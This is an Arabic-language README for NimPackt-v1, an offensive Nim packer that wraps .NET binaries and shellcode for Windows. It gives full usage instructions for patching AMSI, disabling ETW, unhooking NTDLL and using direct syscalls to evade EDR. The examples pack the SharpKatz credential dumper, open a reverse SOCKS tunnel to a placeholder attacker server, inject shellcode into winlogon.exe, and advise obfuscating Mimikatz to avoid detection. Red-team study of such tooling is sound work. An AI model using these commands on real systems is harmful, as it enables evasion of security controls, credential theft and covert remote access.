
مُجمّع ومُحمّل شيل كود مبني على Nim من أجل الأمان التشغيلي والربح

بقلم Cas van Cooten (@chvancooten)
مع شكر خاص لـ Marcello Salvati (@byt3bl33der) و Fabian Mosch (@S3cur3Th1sSh1t)
تحديث: NimPackt-v1 هو من أسوأ الأكواد التي كتبتها على الإطلاق (كنت قد بدأت للتو في تعلم Nim). لهذا السبب، بدأت في إعادة كتابة كاملة لـ NimPackt، أسميتها 'NimPackt-NG' (لا تزال خاصة حاليًا). مع هذه الإعادة، قررت فتح المصدر للفرع القديم ("NimPackt-v1"). لذلك، لم يعد هذا الفرع مدعومًا ويأتي بدون أي ضمان أو دعم. بطبيعة الحال، طلبات السحب (PRs) مرحب بها دائمًا :)
NimPackt هي أداة تغليف مبنية على Nim لملفات .NET (C#) القابلة للتنفيذ وـ shellcode التي تستهدف Windows. تقوم تلقائيًا بتغليف الحمولة في ملف ثنائي Nim يتم تجميعه إلى لغة C أصلية، وبالتالي يصعب اكتشافه وهندسته العكسية. هناك طريقتان رئيسيتان للتنفيذ:
Execute-Assembly بإعادة تغليف ملف .NET قابل للتنفيذ وتشغيله، مع تطبيق إجراءات مراوغة مثل إزالة ربط API، أو تعديل AMSI، أو تعطيل ETW اختياريًا.Shinject ملفًا .bin خامًا يحتوي على shellcode خام مستقل عن الموضع، وتنفذه محليًا أو في عملية بعيدة، مع استخدام استدعاءات النظام المباشرة اختياريًا لتفعيل الـ shellcode أو تعديل روابط API لتجنب EDR.حاليًا، يتمتع NimPackt بالميزات التالية.
NTDLL.dll باستخدام ShellyCoatexe أو dllيمكن العثور على مصدر رائع للثنائيات المبنية على C# للأدوات الهجومية هنا. يُنصح بشدة بتجميع الثنائيات C# بنفسك. على الرغم من أن الثنائيات المضمنة مشفرة، إلا أنه يجب عليك تعمية الثنائيات الحساسة (مثل Mimikatz) لتقليل خطر الاكتشاف.
إذا كنت تواجه مشكلات في تجميع الثنائي مع استدعاءات النظام (Syscalls)، فحاول خفض إصدار GCC إلى 8.1.0 (خاصة على Windows). اختبر الحمولات المُولَّدة دائمًا!
على Linux، ما عليك سوى تثبيت الحزم المطلوبة واستخدام مثبت حزم Nimble لتثبيت الحزم المطلوبة ومكتبات Python.
sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto
على Windows، قم بتشغيل مثبت Nim من هنا. تأكد من تثبيت mingw وتعيين قيم المسار بشكل صحيح باستخدام الأداة finish.exe المقدمة. إذا لم يكن لديك Python3 فقم بتثبيته، ثم قم بتثبيت الحزم المطلوبة كما يلي.
nimble install winim nimcrypto
pip3 install pycryptodome argparse
يمكن استخدام صورة Docker chvancooten/nimbuild لتجميع ثنائيات NimPackt-v1. استخدام Docker سهل ويتجنب مشكلات التبعية، حيث أن جميع التبعيات المطلوبة مثبتة مسبقًا في هذه الحاوية.
لاستخدامه، قم بتثبيت Docker لنظام التشغيل الخاص بك وتأكد من أن الـ shellcode المدخل موجود في المجلد الحالي. ثم ابدأ التجميع في حاوية كما يلي.
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin
لتثبيت ملحق CobaltStrike، حدد Cobalt Strike -> Script Manager من شريط القائمة، واختر Load. تأكد من تحميل ملف .cna من موقعه الأصلي، وإلا فلن يتمكن من العثور على ملفات نصوص NimPackt!

usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
[-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
[-d] [-v] [-V]
required arguments:
-e EXECUTIONMODE, --executionmode EXECUTIONMODE
Execution mode of the packer. Supports "execute-assembly" or "shinject"
-i INPUTFILE, --inputfile INPUTFILE
C# .NET binary executable (.exe) or shellcode (.bin) to wrap
execute-assembly arguments:
-a ARGUMENTS, --arguments ARGUMENTS
Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
time arguments (default)
-na, --nopatchamsi Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
-ne, --nodisableetw Do NOT disable Event Tracing for Windows (ETW)
shinject arguments:
-r, --remote Inject shellcode into remote process (default false)
-t INJECTTARGET, --target INJECTTARGET
Remote thread targeted for remote process injection
-E, --existing Remote inject into existing process rather than a newly spawned one (default
false, implies -r) (WARNING: VOLATILE)
other arguments:
-o OUTPUTFILE, --outfile OUTPUTFILE
Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
or path. This property will be stored in the output binary as the original
filename
-nu, --nounhook Do NOT unhook user-mode API hooks in the target process by loading a fresh
NTDLL.dll
-ns, --nosyscalls Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
APIs to evade EDR
-f FILETYPE, --filetype FILETYPE
Filetype to compile ("exe" or "dll", default: "exe")
-s, --sleep Sleep for approx. 30 seconds by calculating primes
-32, --32bit Compile in 32-bit mode (untested)
-S, --showConsole Show a console window with the app's output when running
-d, --debug Enable debug mode (retains .nim source file in output folder)
-v, --verbose Print debug messages of the wrapped binary at runtime
-V, --version show program's version number and exit
أمثلة:
# Pack SharpKatz to accept arguments at runtime, patching NTDLL hooks, AMSI, and ETW while printing verbose messages to a visible console at runtime
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v
# Pack Seatbelt as a DLL file with baked-in arguments (note: write to outfile because stdout is not available for DLLs)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"
# Pack SharpChisel with a built-in ChiselChief connection string, do not unhook, patch AMSI, or disable ETW, hide the application window at runtime
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'
# Pack raw shellcode to DLL file that executes in the local thread through direct syscalls, unhooking NTDLL as well
# Shellcode generated with 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll
# Pack raw shellcode to execute in a newly spawned Calculator thread in an invisible window
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"
# Pack raw shellcode to execute in the existing Winlogon process (first PID with name 'winlogon.exe'), do not use direct syscalls or unhook NTDLL
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns
يتم تخزين الثنائيات في المجلد الفرعي output من دليل التثبيت الخاص بك. يمكن تنفيذ ملفات dll المُولَّدة كما يلي (يمكن تغيير نقطة الدخول في قالب Nim):
rundll32 exampleShinjectNimPackt.dll,IconSrv